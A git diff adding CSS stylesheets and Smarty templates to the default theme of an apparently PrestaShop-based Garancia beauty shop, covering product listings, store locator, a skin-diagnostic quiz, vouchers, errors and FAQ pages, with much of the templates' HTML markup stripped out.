{ + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + backface-visibility: hidden; +} +.lg-css3.lg-use-left .lg-item { + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + backface-visibility: hidden; +} +.lg-css3.lg-fade .lg-item { + opacity: 0; +} +.lg-css3.lg-fade .lg-item.lg-current { + opacity: 1; +} +.lg-css3.lg-fade .lg-item.lg-prev-slide, .lg-css3.lg-fade .lg-item.lg-next-slide, .lg-css3.lg-fade .lg-item.lg-current { + -webkit-transition: opacity 0.1s ease 0s; + -moz-transition: opacity 0.1s ease 0s; + -o-transition: opacity 0.1s ease 0s; + transition: opacity 0.1s ease 0s; +} +.lg-css3.lg-slide.lg-use-css3 .lg-item { + opacity: 0; +} +.lg-css3.lg-slide.lg-use-css3 .lg-item.lg-prev-slide { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.lg-css3.lg-slide.lg-use-css3 .lg-item.lg-next-slide { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.lg-css3.lg-slide.lg-use-css3 .lg-item.lg-current { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; +} +.lg-css3.lg-slide.lg-use-css3 .lg-item.lg-prev-slide, .lg-css3.lg-slide.lg-use-css3 .lg-item.lg-next-slide, .lg-css3.lg-slide.lg-use-css3 .lg-item.lg-current { + -webkit-transition: -webkit-transform 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + -moz-transition: -moz-transform 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + -o-transition: -o-transform 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + transition: transform 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; +} +.lg-css3.lg-slide.lg-use-left .lg-item { + opacity: 0; + position: absolute; + left: 0; +} +.lg-css3.lg-slide.lg-use-left .lg-item.lg-prev-slide { + left: -100%; +} +.lg-css3.lg-slide.lg-use-left .lg-item.lg-next-slide { + left: 100%; +} +.lg-css3.lg-slide.lg-use-left .lg-item.lg-current { + left: 0; + opacity: 1; +} +.lg-css3.lg-slide.lg-use-left .lg-item.lg-prev-slide, .lg-css3.lg-slide.lg-use-left .lg-item.lg-next-slide, .lg-css3.lg-slide.lg-use-left .lg-item.lg-current { + -webkit-transition: left 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + -moz-transition: left 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + -o-transition: left 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; + transition: left 1s cubic-bezier(0, 0, 0.25, 1) 0s, opacity 0.1s ease 0s; +} \ No newline at end of file diff --git a/themes/default/css/presse.css b/themes/default/css/presse.css new file mode 100755 index 0000000..6246c1d --- /dev/null +++ b/themes/default/css/presse.css @@ -0,0 +1,75 @@ +#presse .borderGreen { + width:auto; + float:none; +} +.borderGreen .items{ + padding:0; + margin:20px 0; + border-top:1px solid #000000; + border-bottom:1px solid #000000; +} +.borderGreen .items li{ + padding:30px 0; + float:left; + clear:both; + width:470px; +} +.borderGreen .items li.alternate_item{ + float:right; + clear:none; +} +.borderGreen .items li img.image{ + float:left; + margin:0 20px 20px 0; + border:0; +} +.borderGreen .items li h2{ + text-align:left; + font-size:12px; + text-transform:uppercase; + padding:0 0 12px; +} +.borderGreen .items li .texte{ + text-align:left; + font-size:12px; + color:#92af06; + line-height:17px; +} +.borderGreen .items li .texte strong{ + color:#92af06 +} + + +.borderGreen .filtreProduits{ + display:block; +} +.borderGreen .filtreProduits label{ + font-size:14px; + font-weight:bold; + color:#000000; + padding:3px 8px 0 0; + line-height:30px; +} + + +.borderGreen .pagination{ + float:right; + padding:3Px 0 0; + margin:0; +} +.borderGreen .pagination li{ + float:left; + color:#000000; + font-size:14px; + padding:0 2px ; + line-height:30px; +} +.borderGreen .pagination li:first-child{ + padding:0 4px 0 0; +} +.borderGreen .pagination li a{ + color:#000000; +} +.borderGreen .pagination li span{ + color:#92af06; +} \ No newline at end of file diff --git a/themes/default/css/product.css b/themes/default/css/product.css new file mode 100755 index 0000000..0bff9a2 --- /dev/null +++ b/themes/default/css/product.css @@ -0,0 +1,208 @@ +#product #center_column h2{ + font-size:14px; + color:#999999; + font-weight:normal; + padding:0 0 8px; +} +#pb-right-column{ + float:left; + width:286px; + margin:0; + padding:0; +} +#pb-left-column{ + float:right; + width:306px; + margin:0; + padding:0; +} +#image-block{ + position:relative; + cursor:pointer; +} +#image-block .span_link{ + position:absolute; + bottom:14px; + right:14px; + cursor:pointer; +} +#product #add_to_cart{ + padding:0; + height:26px; + line-height:26px; +} +#product #add_to_cart input{ + float:right; + width:138px; + line-height:26px; + height:26px; + padding:0 0 2px!important; + background:#b9da1a; + border:1px solid #a9c717; + color:#000000; + text-transform:uppercase; + font-size:11px; + font-weight:normal; +} +#product #add_to_cart input:hover{ + background:#a9c717; +} +#quantity_wanted_p{ + position:relative; + height:29px; + line-height:29px; + float:left; + width:63px; + margin:0 0 12px; +} +#quantity_wanted{ + border:0; + background:url('../img/quantity_wanted.jpg') no-repeat 0 0; + width:39px; + height:29px; + line-height:29px; + text-align:center; + color:#000000; + font-size:14px; +} +#quantity_wanted_p .more, +#quantity_wanted_p .less{ + position:absolute; + left:40px; + top:0; + float:left; + color:#000000; + line-height:14px; + font-size:20px; + width:14px; + height:14px; + padding:4px 4px 0; + background:url('../img/productMoreLess.jpg') no-repeat center 4px; + text-decoration:none; +} +#quantity_wanted_p .less{ + background:url('../img/productMoreLess.jpg') no-repeat center -11px; + top:14px; +} +a.productFlecheVerte{ + background:url('../img/productFlecheVerte.png') no-repeat 0 center; + padding:0 0 0 10px; + line-height:29px; + color:#000000; +} +a.productFlecheVerte:hover{ + color:#b9da1a; + color:#000000; + text-decoration:underline; +} +.content_prices{ + float:left; + line-height:29px; + color:#000000; +} +.content_prices p{ + float:left; + padding:0 0 0 5px; + clear:none; + margin:20px 0; + margin:0; + text-transform:uppercase; +} +#new_comment_form{clear:both;} +#more_info_block .new_comment_form_content{ + padding:0; +} +#more_info_block h5{ + color:#000000; + font-size:12px; + font-weight:bold; +} +#more_info_block a.voir_tous_les_avis{ + color:#000000; + background:#f0f0f0; +} +#more_info_block a.voir_tous_les_avis{ + background:#b9da1a; + color: #000000; + display: inline-block; + float: none; + margin: 20px 0 0; + padding: 5px; +} +#more_info_block a.button{ + color:#000000; + background:url("../img/homeblockFleche1.png") no-repeat right center #B9DA1A; +} +#more_info_block a.button:hover{ + color:#000000; + text-decoration:none; + background:url("../img/homeblockFleche1.png") no-repeat right center #a9c717; +} + + +#page .tiroir{ + margin:0 0 10px; + padding:0; + border-bottom:1px solid #d9d9d9; +} +#page .tiroir h3{ + border-bottom:0; + margin:0; +} +#page .tiroir p{ + padding:0 0 10px; +} +#page .tiroir p:last-child{ + padding:0; +} +#page .tiroir div.texte{ + padding:10px; + color:#000000; + font-size:12px; + border:1px solid #d9d9d9; + border-top:0; + border-bottom:0; +} +#accessoires{ + position:relative; + padding:20px 32px; + border:1px solid #333333; + border-top:0; + background:#0e0e0b; + margin:0 0 20px; +} +#slides{ + width:256px; + overflow:hidden; + height:105px; + margin:0 auto; + float:left; +} +#slides ul{ + float:left; + height:105px; +} +#slides ul li{ + float:left; + height:105px; +} +#page #slides img{ + margin:0 8px 0 0 +} +#page #scroll_left img, +#page #scroll_right img{ + margin:0; +} +#scroll_left, +#scroll_right{ + padding:10px; + margin:0; + position:absolute; + top:50px; +} +#scroll_left{ + left:0; +} +#scroll_right{ + right:0; +} \ No newline at end of file diff --git a/themes/default/css/product_list.css b/themes/default/css/product_list.css new file mode 100755 index 0000000..60e1a9a --- /dev/null +++ b/themes/default/css/product_list.css @@ -0,0 +1,91 @@ +ul#product_list { + float:right; + width:790px; + list-style-type: none; +} +#product_list li { + float:left; + width:239px; + height:406px; + border:1px solid #e6e6e6; + border-bottom:0; + background:white; + position:relative; + overflow:hidden; + text-align:center; + margin:0 0px 22px 20px; +} +#product_list li.item3{ + /*margin:0 0 20px;*/ +} +#product_list li .bordGreen{ + width:237px; + height:405px; + border:1Px solid transparent; + border-bottom:0; +} + +#product_list li:hover .bordGreen, +#product_list li:hover{ + border-color:#b9da1a; +} +#product_list li a{ + color:#000000; + display:block; + text-align:center; +} +#product_list li a:hover{ + text-decoration:none; +} +#product_list li a.product_img_link{ + float:left; + width:237px; + height:300px; + background:white; +} +#product_list li a.product_img_link img{ + border:0; +} +#product_list li .descr{ + clear:both; + height:77px; + padding:0 10px; +} +#product_list li h3{ + line-height:19px; + font-size:16px; + color:#000000; + font-family:Times New Roman; + text-transform:uppercase; + padding:0; + margin:0; +} +#product_list li p{ + line-height:15px; + font-size:11px; + color:#000000; +} + + +#product_list li a.decouvrir{ + height:30px; + line-height:30px; + display:block; + background:#e5e5e5; + font-size:12px; + color:#000000; + font-family:Times New Roman; + text-transform:uppercase; + position:absolute; + bottom:0; + left:0px; + width:239px; +} +#product_list li a.decouvrir img{ + vertical-align:-3px; +} +#product_list li:hover a.decouvrir, +#product_list li a.decouvrir:hover{ + background:#b9da1a; + text-decoration:none; +} diff --git a/themes/default/css/product_list_mobile.css b/themes/default/css/product_list_mobile.css new file mode 100755 index 0000000..1ee77cc --- /dev/null +++ b/themes/default/css/product_list_mobile.css @@ -0,0 +1,95 @@ +body ulbody #product_list { + float:right; + width:790px; + list-style-type: none; +} +body #product_list li { + float:left; + width:241px; + height:406px; + border:1px solid #e6e6e6; + border-bottom:0; + background:white; + position:relative; + overflow:hidden; + text-align:center; + margin:0 0px 20px 0px ; + padding:0; +} +body #product_list li.itema{float:left;} +body #product_list li.itemb{float:right;} +body #product_list li .bordGreen{ + width:227px; + padding:5px; + height:405px; + border:2Px solid transparent; + border-bottom:0; +} + +body #product_list li:hover .bordGreen, +body #product_list li:hover{ + border-color:#b9da1a; +} +body #product_list li a{ + color:#000000; + display:block; + text-align:center; +} +body #product_list li a:hover{ + text-decoration:none; +} +body #product_list li a.product_img_link{ + float:left; + width:227px; + height:300px; + background:white; +} +body #product_list li a.product_img_link img{ + border:0; +} +body #product_list li .descr{ + clear:both; + height:77px; +} +body #product_list li h3{ + line-height:16px; + font-size:16px; + color:#000000; + font-family:Times New Roman; + text-transform:uppercase; + padding:0; + margin:0; + height:auto; + white-space:normal; +} +body #product_list li p{ + line-height:15px; + font-size:11px; + color:#000000; + white-space:normal; + margin:0 ; +} + + +body #product_list li a.decouvrir{ + height:30px; + line-height:30px; + display:block; + background:#e5e5e5; + font-size:12px; + color:#000000; + font-family:Times New Roman; + text-transform:uppercase; + position:absolute; + bottom:0; + left:0px; + width:241px; +} +body #product_list li a.decouvrir img{ + vertical-align:-3px; +} +body #product_list li:hover a.decouvrir, +body #product_list li a.decouvrir:hover{ + background:#b9da1a; + text-decoration:none; +} diff --git a/themes/default/css/restricted-country.css b/themes/default/css/restricted-country.css new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/css/rtl.css b/themes/default/css/rtl.css new file mode 100755 index 0000000..677d5c5 --- /dev/null +++ b/themes/default/css/rtl.css @@ -0,0 +1,2 @@ +* { direction: rtl !important; } +#page { text-align: right !important; } \ No newline at end of file diff --git a/themes/default/css/scenes.css b/themes/default/css/scenes.css new file mode 100755 index 0000000..1344aac --- /dev/null +++ b/themes/default/css/scenes.css @@ -0,0 +1,148 @@ + +/*TMP*/ +#scenes .cluetip span{ + background:transparent url(../img/icon/cible.gif) no-repeat scroll center center; + color:black; + display:block; + font-size:1.1em; + font-weight:bold; + height:23px; + padding-top:5px; + text-align:center; + width:23px; +} +/*TMP*/ +.thumbs_banner{ + margin:10px auto; + padding:2px 0; + height: 60px !important; + width:100%; + border-top:1px solid #ccc; + border-bottom:1px solid #ccc; +} + +.thumbs_banner .space-keeper{ + width:21px; + float:left; + display:block; + height:100%; +} + +.thumbs_banner .space-keeper a.prev{ + display:none; + width:21px; + text-align:center; + font-size:1.5em; + text-decoration:none; + background:url(../img/icon/serial_scroll_left.gif) no-repeat 0 0 #eee; +} +#scenes_list{ + overflow:hidden; + float:left; + width:478px; +} +#scenes_list ul{ + list-style-type:none; +} + +#scenes_list li{ + float:left; +} + +#scenes_list a{ + display:block; +} + +.thumbs_banner a.next { + float:left; + display:block; + width:21px; + text-align:center; + font-size:1.5em; + text-decoration:none; + background:url(../img/icon/serial_scroll_right.gif) no-repeat 0 0 #ddd; +} + +/* Cluetip design ****************************************************************************** */ +#scenes .screen_scene { + margin:0 auto; +} + +#scenes a.cluetip{ + display:block; + position:absolute; + text-decoration:none; +} + +.cluetip-product_scene { + padding:10px; + border:7px solid #999; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + text-align:left; + background:#fff; + opacity:0.95; +} + +.cluetip-product_scene #cluetip-close{ + text-align:right; + float:right; +} + +.cluetip-product_scene img { + float:left; + margin-right:10px; + border:1px solid #ccc +} +.cluetip-product_scene .title_block { + display:inline-block; + margin-bottom:5px; + padding:0 !important; + font-size:12px; +} + +.cluetip-product_scene .clear {margin:0; padding:0} +.cluetip-product_scene .clear a { + /*float:left;*/ + margin-top:2px; +} + +.cluetip-product_scene p.description{ + float:left; + padding:0; + width:140px; + color:#666 +} + +.cluetip-product_scene div.prices{ + float:right; + position:relative; + width:65px; + text-align:right; +} +.cluetip-product_scene .new { + position:absolute; + top:0; + right:0; + display: inline-block; + padding: 1px 5px; + font-weight: bold; + font-size: 10px; + color: #fff; + text-transform: uppercase; + background: none repeat scroll 0 0 #9B0000 +} +.cluetip-product_scene .price{ + padding-top:18px; + font-weight:bold; + font-size:13px; + color:#990000 +} +.cluetip-product_scene .on_sale, .cluetip-product_scene .discount { + display:block; + font-weight:bold; + color:#DA0F00; + text-transform:uppercase; +} +/* END Cluetip design */ diff --git a/themes/default/css/sitemap.css b/themes/default/css/sitemap.css new file mode 100755 index 0000000..ddf8b0f --- /dev/null +++ b/themes/default/css/sitemap.css @@ -0,0 +1,38 @@ +#sitemap_content {margin-left: 20px} +#sitemap_content .sitemap_block h3, +#sitemap_content .categTree h3 {margin: 20px 0 0 0} + +#sitemap_content div.sitemap_block { + float: left; + min-height: 120px; + padding: 0; + width: 33% +} +#sitemap_content div.sitemap_block ul {list-style-type:none} +#sitemap_content div.sitemap_block li a { + display: block; + padding: 2px 0 2px 10px; + color: #333; + background: url(../img/arrow_right_2.png) no-repeat 0 4px transparent +} + +#listpage_content {margin: 50px 0 20px 20px;} +#listpage_content div.categTree { + float: left; + width: 33% +} +#listpage_content div.tree_top { + padding: 3px 0 5px 24px; + background: url(../img/sitemap-top.gif) no-repeat -1px -3px transparent +} +#listpage_content ul {list-style-type:none} +#listpage_content ul.tree li { + margin-left: 11px; + padding-left: 20px; + border-left: 1px dotted #999; + background: url(../img/sitemap-horizontal.png) no-repeat left 10px transparent +} +#listpage_content ul.tree li.last { + border: medium none; + background: url(../img/sitemap-last.gif) no-repeat -12px -2px transparent +} \ No newline at end of file diff --git a/themes/default/css/stores.css b/themes/default/css/stores.css new file mode 100755 index 0000000..514345a --- /dev/null +++ b/themes/default/css/stores.css @@ -0,0 +1,94 @@ +#page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + margin:30px 0; + border-bottom:1px solid #000000; + color: #000000; + font-size: 30px; + border-bottom: 1px solid #000000; + padding: 0 0 30px; +} + +#stores #center_colum label { + display:inline-block; + width:150px; + font-weight:bold; + text-align:right +} +.colLeft{ + width:306px; + height:522px; + overflow:hidden; + float:left; +} +.colRight{ + width:632px; + float:right; +} +.locationInputs{ + width:306px; + margin:-3px 0 0; +} +input#addressInput { + border:0; + height:32px; + width:249px; + padding:3px 10px 0 ; + background:url('../img/inputMagasin.png') no-repeat 0 0; + float:left; +} +input#submitAddressInput { + border:0; + height:35px; + width:37px; + padding:0; + margin:0; + background:url('../img/inputMagasin.png') no-repeat right 0; + float:left; +} +select#radiusSelect { + margin: 0 5px 0 0; + width:50px; + border:1px solid #ccc +} + +#stores_loader { + display: none; +} + +#locationSelect { + visibility: hidden; +} + +#map2 { + margin:0; + height:520px; + width:632px; + overflow:hidden; +} +#map { + margin:0; + height:520px; + width:632px; + float:left; +} +.storestable{ +clear:both; +margin:20px 0 0; +height:500px; +width:306px; +float:left; +position:relative; +} +#stores-table {border:0} +#stores-table tr:nth-child(odd) {} +#stores-table td { + border:0; + min-height:70px; + padding:12px 0; +} +#stores-table td{color:#000000;font-size:12px;} +#stores-table td b{font-weight:bold;font-size:14px;} +#stores-table td span{color:#8daa01;} \ No newline at end of file diff --git a/themes/default/css/storesmobile.css b/themes/default/css/storesmobile.css new file mode 100755 index 0000000..1e0b8e5 --- /dev/null +++ b/themes/default/css/storesmobile.css @@ -0,0 +1,119 @@ +#page .borderGreen { + width:auto; + float:none; +} +#page .borderGreen h1{ + margin:30px 0; + border-bottom:1px solid #000000; + color: #000000; + font-size: 30px; + border-bottom: 1px solid #000000; + padding: 0 0 30px; +} + +#stores #center_colum label { + display:inline-block; + width:150px; + font-weight:bold; + text-align:right +} +.colLeft{ + width:384px; + display:block; + margin:0 auto 60px; + float:none; +} +.colRight{ + width:632px; + float:right; +} +.locationInputs{ + width:398px; + margin:0px 0 0; +} +div.addressInput{ + width:349px; + float:left; + line-height:45px; + height:45px; +} +div.submitAddressInput{ + width:49px; + float:left; + line-height:45px; + height:45px; + padding:0; + margin:0; +} +input#addressInput { + border:0; + height:45px; + line-height:45px; + width:329px; + padding:0px 10px 0 ; + background:url('../img/inputMagasinMobile.png') no-repeat 0 0; + float:left; +} +input#submitAddressInput { + width:49px; + float:left; + line-height:45px; + height:45px; + margin:0; + padding:0; + background:url('../img/inputMagasinMobile.png') no-repeat right 0; + float:left; + cursor:pointer; +} +select#radiusSelect { + margin: 0 5px 0 0; + width:50px; + border:1px solid #ccc +} + +#stores_loader { + display: none; +} + +#locationSelect { + visibility: hidden; +} + +#map2 { + margin:0; + height:519px; + width:100%; + overflow:hidden; +} +.colRight{ + width:100%; + margin:0 0 -20px -49px; + position: relative; +} + +#map { + margin:0; + height:1000px; + width:1000px; + margin-left:-184px; + margin-top:-240px; + float:left; +} +.storestable{ +clear:both; +margin:20px 0 0; +height:auto; +width:306px; +float:left; +position:relative; +} +#stores-table {border:0} +#stores-table tr:nth-child(odd) {} +#stores-table td { + border:0; + min-height:70px; + padding:12px 0; +} +#stores-table td{color:#000000;font-size:12px;} +#stores-table td b{font-weight:bold;font-size:15px;} +#stores-table td span{color:#8daa01;} \ No newline at end of file diff --git a/themes/default/desinscription.tpl b/themes/default/desinscription.tpl new file mode 100755 index 0000000..fcb0087 --- /dev/null +++ b/themes/default/desinscription.tpl @@ -0,0 +1,24 @@ +

        [{l s='Désinscription de la newsletter Garancia'}]

        +
        + +

        {l s='Si vous êtes sûr(e) de vouloir vous désabonner (Vous allez nous manquer !) indiquez votre adresse e-mail.'}

        + +
        + +

        + + + +

        +

        + +

        +
        +
        \ No newline at end of file diff --git a/themes/default/diagnostic-items.tpl b/themes/default/diagnostic-items.tpl new file mode 100755 index 0000000..495161e --- /dev/null +++ b/themes/default/diagnostic-items.tpl @@ -0,0 +1,216 @@ +
        +

        [{$categorie->name}]

        + +
        \ No newline at end of file diff --git a/themes/default/diagnostic-share.tpl b/themes/default/diagnostic-share.tpl new file mode 100755 index 0000000..ce22b4f --- /dev/null +++ b/themes/default/diagnostic-share.tpl @@ -0,0 +1,68 @@ + +{* +Je viens de faire mon DIAGNOSTIC BEAUTÉ PERSONNALISÉ sur www.garancia-beauty.com. Toi aussi, viens découvrir quel est le RITUEL MAGIQUE GARANCIA adapté à ton type de peau en cliquant sur le lien ci-dessous +*} + + + +
        +
        +
        +
        + + {l s='Envoyer'} + +

        {l s='Invitez vos amis à faire leur diagnostic'}

        +
        + \ No newline at end of file diff --git a/themes/default/diagnostic.tpl b/themes/default/diagnostic.tpl new file mode 100755 index 0000000..2d03a31 --- /dev/null +++ b/themes/default/diagnostic.tpl @@ -0,0 +1,509 @@ +
        + {if $step<1} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} +
        + {l s='Savéria COSTE'} +
        +

        {l s='Savéria COSTE'}, {l s='Docteur en Pharmacie, vous fait partager son expertise pour votre diagnostic de peau.'}

        +

        {l s='Avez-vous les bons gestes ? Les bonnes routines beauté ?'}
        {l s='Répondez à ces quelques questions pour avoir un diagnostic clair et précis.'}

        +

        {l s='Démarrer le diagnostic'}

        +
        +
        + {else if $step==7} + +

        [{l s='Votre rituel beauté magique'}]

        + {include file="$tpl_dir./errors.tpl"} +

        {l s='Découvrez votre rituel beauté personnalisé complètement magique !'}

        +
        + {if isset($categoryA)}{include file="./diagnostic-items.tpl" categorie=$categoryA rituel=1}{/if} + {if isset($categoryB)}{include file="./diagnostic-items.tpl" categorie=$categoryB rituel=2}{/if} + {if isset($categoryC)}{include file="./diagnostic-items.tpl" categorie=$categoryC rituel=3}{/if} + {if isset($categoryD)}{include file="./diagnostic-items.tpl" categorie=$categoryD rituel=4}{/if} +
        +

        + {l s='Commander mon rituel magique complet'} +

        +
        + {include file="./diagnostic-share.tpl"} +
        + {else} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} + + + +
        + {foreach from=$full_rep item=rep} + {if in_array($rep.id_item,$Q_a_Masquer)} + {assign var=QAMasquer value=1} + {else} + {assign var=QAMasquer value=0} + {/if} + {if $rep.id_item==5} +

        {l s='Avez-vous des zones de brillance au niveau :'}

        + {/if} + {if $rep.id_item==14} + {if $QAMasquer==1} + + {else} +
        {* curseur à faire *} + +

        {$rep.question}

        +

        + {if $rep.repA!=""}{/if} + {if $rep.repB!=""}{/if} + {if $rep.repC!=""}{/if} + {if $rep.repD!=""}{/if} + {if $rep.repE!=""}{/if} +

        + + + + + + +
        +
        + + +
        + 1 + 2 + 3 + 4 + 5 +
        +
        + 1 + 2 + 3 + 4 + 5 +
        + +
        +
        + + + {/if} + {else} + {if $rep.id_item==10|| $rep.id_item==11} +
        + {else} +
        + {/if} + {if $QAMasquer==1} + + {else} + {if $rep.id_item==5 || $rep.id_item==6} +

        {$rep.question}

        + {else} +

        {$rep.question}

        + {/if} +

        + {if $rep.repA!=""}{/if} + {if $rep.repB!=""}{/if} + {if $rep.repC!=""}{/if} + {if $rep.repD!=""}{/if} + {if $rep.repE!=""}{/if} +

        + {/if} + {if $rep.id_item==10|| $rep.id_item==11} +
        + {/if} + {/if} + {if $rep.texterepA!=""}{/if} + {if $rep.texterepB!=""}{/if} + {if $rep.texterepC!=""}{/if} + {if $rep.texterepD!=""}{/if} + {if $rep.texterepE!=""}{/if} + + {/foreach} + {*if $step==1} +
        +

        {l s='Êtes-vous ?'}

        +

        + + +

        +
        +
        +

        {l s='Dans quelle tranche d\'âge vous situez-vous ?'}

        +

        + + + + +

        +
        + {/if} + {if $step==2} +
        +

        {l s='Vous pensez que voter peau est plutôt :'}

        +

        + + + + +

        +
        +
        +

        {l s='Au quotidien :'}

        +

        + + + + +

        +
        + {/if} + {if $step==3} +
        +

        {l s='Avez-vous des zones de brillance au niveau :'}

        +

        {l s='De la zone T (Front / Nez / Menton)'}

        +

        + + + + +

        +

        {l s='Des joues'}

        +

        + + + + +

        +
        +
        +

        {l s='Avez-vous des pores dilatés ?'}

        +

        + + +

        +
        +
        +

        {l s='Avez-vous des boutons ?'}

        +

        + + + +

        +
        +
        +

        {l s='Présentez-vous des marques inesthétiques suite à une poussée d\'acnée ou post-peeling, laser ... ?'}

        +

        + + +

        +
        + {/if} + {if $step==4} +
        +

        {l s='Votre peau se relâche-t-elle ?'}

        +

        + + +

        +
        +
        +

        {l s='Avez-vous des cernes et/ou des poches ?'}

        +

        + + +

        +
        + {/if} + {if $step==5} +
        +

        {l s='A quelle fréquence gommez-vous votre visage ?'}

        +

        + + + +

        +
        +
        +

        {l s='Vous démaquillez votre peau :'}

        +

        + + +

        +
        + {/if} + {if $step==6} +
        +

        {l s='Déplacez le curseur afin d\'évaluer la profondeur des rides localisées sur votre front.'}

        +

        + + + + + +

        +
        +
        +

        {l s='Vous avez la peau sèche :'}

        +

        + + +

        +
        +
        +

        {l s='A quelle fréquence gommez-vous votre corps ?'}

        +

        + + + + +

        +
        + {/if*} + +

        + + {l s='Précédente'} +

        +
        + + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/discount.tpl b/themes/default/discount.tpl new file mode 100755 index 0000000..3e4abef --- /dev/null +++ b/themes/default/discount.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture name=path}{l s='My account'}{$navigationPipe}{l s='My vouchers'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='My vouchers'}

        + +{if isset($cart_rules) && count($cart_rules) && $nb_cart_rules} + + + + + + + + + + + + + + {foreach from=$cart_rules item=discountDetail name=myLoop} + + + + + + + + + + {/foreach} + +
        {l s='Code'}{l s='Description'}{l s='Quantity'}{l s='Value'}*{l s='Minimum'}{l s='Cumulative'}{l s='Expiration date'}
        {$discountDetail.code}{$discountDetail.name}{$discountDetail.quantity_for_user} + {if $discountDetail.id_discount_type == 1} + {$discountDetail.value|escape:'htmlall':'UTF-8'}% + {elseif $discountDetail.id_discount_type == 2} + {convertPrice price=$discountDetail.value} ({if $discountDetail.reduction_tax == 1}{l s='Tax included'}{else}{l s='Tax excluded'}{/if}) + {elseif $discountDetail.id_discount_type == 3} + {l s='Free shipping'} + {else} + - + {/if} + + {if $discountDetail.minimal == 0} + {l s='None'} + {else} + {convertPrice price=$discountDetail.minimal} + {/if} + + {if $discountDetail.cumulable == 1} + {l s='Yes'} {l s='Yes'} + {else} + {l s='No'} {l s='No'} + {/if} + {dateFormat date=$discountDetail.date_to}
        +{else} +

        {l s='You do not have any vouchers.'}

        +{/if} + + diff --git a/themes/default/errors.tpl b/themes/default/errors.tpl new file mode 100755 index 0000000..ef403ee --- /dev/null +++ b/themes/default/errors.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($errors) && $errors} +
        +

        {if $errors|@count > 1}{l s='There are %d errors' sprintf=$errors|@count}{else}{l s='There is %d error' sprintf=$errors|@count}{/if} :

        +
          + {foreach from=$errors key=k item=error} +
        1. - {$error}
        2. + {/foreach} +
        + {if isset($smarty.server.HTTP_REFERER) && !strstr($request_uri, 'authentication') && preg_replace('#^https?://[^/]+/#', '/', $smarty.server.HTTP_REFERER) != $request_uri} +

        « {l s='Back'}

        + {/if} +
        +{/if} \ No newline at end of file diff --git a/themes/default/espacepharmaciens.tpl b/themes/default/espacepharmaciens.tpl new file mode 100755 index 0000000..2af6a69 --- /dev/null +++ b/themes/default/espacepharmaciens.tpl @@ -0,0 +1,24 @@ +{capture name=path}{l s='Espace pharmaciens'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Espace pharmaciens'}]

        +
        +
        +
        +

        {l s='RENDEZ-VOUS LE 16 SEPTEMBRE POUR VOTRE PREMIERE CONNEXION.'}

        + {if isset($confirmAdd) && $confirmAdd==1} +

        {l s='Votre email a été ajouté à la liste'}

        + {else} +

        {l s='Soyez informé de l\'ouverture de votre espace dédié'}

        + {/if} +

        + +

        +

        + + +

        +
        +
        +
        +
        diff --git a/themes/default/faq.tpl b/themes/default/faq.tpl new file mode 100755 index 0000000..15af57f --- /dev/null +++ b/themes/default/faq.tpl @@ -0,0 +1,90 @@ +{capture name=path}{l s='F A Q'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        + {foreach from=$generationFAQ item=faqParent} + {if $faqParent.children|@count>0 || $faqParent.items|@count>0} +

        [{$faqParent.title|replace:'®':'®'}]

        + {if $faqParent.items|@count>0} +
        + {foreach from=$faqParent.items item=faqItem} +
        +

        {$faqItem.title|replace:'®':'®'}

        + +
        + {/foreach} +
        + {/if} + {if $faqParent.children|@count>0} +
        + {foreach from=$faqParent.children item=faqChild} +
        +

        {$faqChild.title|replace:'®':'®'}

        + +
        + {/foreach} +
        + {/if} + {/if} + {/foreach} +
        + + + {* +
        +

        [Questions générales]

        +
        +

        Est-ce que je peux me démaquiller avec Pscitt Magique Nouvelle Peau ?

        + +
        +

